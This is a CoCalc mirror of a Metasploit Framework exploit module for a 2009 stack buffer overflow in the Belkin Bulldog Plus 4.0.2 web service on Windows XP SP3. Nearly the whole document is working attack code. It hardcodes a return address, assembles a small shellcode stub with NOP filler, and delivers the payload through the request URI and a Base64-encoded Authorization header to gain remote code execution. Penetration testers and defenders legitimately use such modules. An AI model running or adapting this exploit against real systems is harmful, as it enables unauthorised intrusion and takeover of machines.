CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/belkin_bulldog.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Belkin Bulldog Plus
16
4.0.2 build 1219. When sending a specially crafted http request,
17
an attacker may be able to execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'OSVDB', '54395' ],
24
[ 'BID', '34033' ],
25
[ 'EDB', '8173' ]
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
'AllowWin32SEH' => true
32
},
33
'Payload' =>
34
{
35
'Space' => 750,
36
'BadChars' => "\x00",
37
'StackAdjustment' => -3500,
38
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
39
'DisableNops' => 'True',
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2009-03-08'))
48
end
49
50
def exploit
51
c = connect
52
53
dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
54
55
filler = [target.ret].pack('V') + dwerd + make_nops(28)
56
57
print_status("Trying target #{target.name}...")
58
59
send_request_raw({
60
'uri' => payload.encoded,
61
'version' => '1.1',
62
'method' => 'GET',
63
'headers' =>
64
{
65
'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
66
}
67
}, 5)
68
69
handler
70
end
71
end
72
73